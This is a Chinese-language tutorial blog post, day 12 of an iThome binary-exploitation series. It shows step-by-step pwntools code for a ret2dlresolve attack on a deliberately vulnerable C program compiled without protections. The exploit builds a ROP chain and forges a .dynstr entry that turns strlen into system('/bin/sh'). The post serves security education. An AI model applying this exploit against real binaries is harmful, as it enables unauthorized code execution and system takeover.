iT邦幫忙

2024 iThome 鐵人賽

DAY 12
0
Security

Pwn2Noooo! 執行即 Crash 的 PWNer 養成遊戲系列 第 12

[Day12] Stack 攻擊手法 - ret2dlresolve & 保護機制 - RELRO(下)

  • 分享至 

  • xImage
  •  

在上一篇文章,我們說明整個攻擊手法,而這篇文章將會實作 ret2dlresolve。

以下為本篇所使用的範例程式

#include<stdio.h>
#include<string.h>
#include<unistd.h>

void vuln() {
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main() {
    
    vuln();
    char buf[100] = "Hello\n";
    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    
    return 0;
}

使用以下指令編譯程式

gcc -no-pie -fno-stack-protector -z norelro -o ret2dl ret2dl.c

我們使用 -z norelro 將 RELRO 保護機制關閉作為練習。

Exploit

可以看到在 vuln() 有 Stack Buffer Overflow 的漏洞,將透過此構造我們需要的 ROP 鏈。
接著,如同上一篇文章的說明,我們將構造一個假的 .dynstr 段將原本的 strlen 函數替換為 system,執行 system("/bin/sh")。我們需要將假的 .dynstr 以及 "/bin/sh" 寫入 BSS 段。

bss_addr = elf.bss()

首先,我們取得了 .bss 段的地址,這是我們用來放置 /bin/sh 和 fake_dynstr 的位置。

dynstr = elf.get_section_by_name('.dynstr').data()
fake_dynstr = dynstr.replace(b'strlen', b'system')

這裡我們獲取了 .dynstr 段的資料,這個段落保存了所有動態符號的名稱,比如 strlen 等函數的名稱。我們會替換其中的字串將 strlen 字串替換為 system。

target_func = 0x401046
strtab_addr =elf.get_section_by_name('.dynstr').header.sh_addr

target_func 是我們要跳轉的函數地址,我們選用 strlen,而 strtab_addr 則是 .dynstr 段的起始位置,我們需要將假資料寫入到相應的位置。

padding = b'A' * (0x70+8)
rop = ROP(context.binary)
rop.read(0, bss_addr)
rop.read(0, strtab_addr)

原先我們都是透過 ROPgadget,不過其實 Pwntools 有一個函數為ROP(context.binary),可以從目標二進制檔案(ELF 格式)中自動分析並找到各種 ROP gadgets,我們這次直接使用他來構造 ROP。

padding 是用來填充 buf 的,這樣我們可以溢出並控制返回地址。接下來,我們構建了一個 ROP 鏈來利用 read() 函數將資料寫入 .bss 段和 .dynstr 段。這樣我們就可以在 .bss 段中寫入 /bin/sh,並將我們的 fake_dynstr 段寫入到動態解析器會讀取的地方。

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
rop.raw(pop_rdi)
rop.raw(bss_addr)
rop.raw(target_func)

這段程式碼透過 ROP 工具尋找 pop rdi; ret 的 gadget,然後將 /bin/sh 的地址傳遞給 strlen 函數。最後,將控制流轉交給 strlen 函數,然而因為被我們篡改成 fake_dynstr,因此會執行 system

payload = flat(padding, rop.chain())
r.sendline(payload)

我們將整個 ROP 鏈和 padding 組合起來,發送給程式。使用 rop.chain() 會將上述所有的 rop 全部串在一起。

r.sendline(flat(b'/bin/sh'.ljust(8, b'\x00'), fake_dynstr))
r.sendline(fake_dynstr)

透過剛剛的 read,我們將發送 /bin/sh 並將其放在 .bss 段中,然後將構造好的 fake_dynstr 發送給程式。最終,我們進入互動模式,從而達到控制程式的目的。


上一篇
[Day11] Stack 攻擊手法 - ret2dlresolve & 保護機制 - RELRO(中)
下一篇
[Day13] 漏洞介紹 - Format Strings
系列文
Pwn2Noooo! 執行即 Crash 的 PWNer 養成遊戲13
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言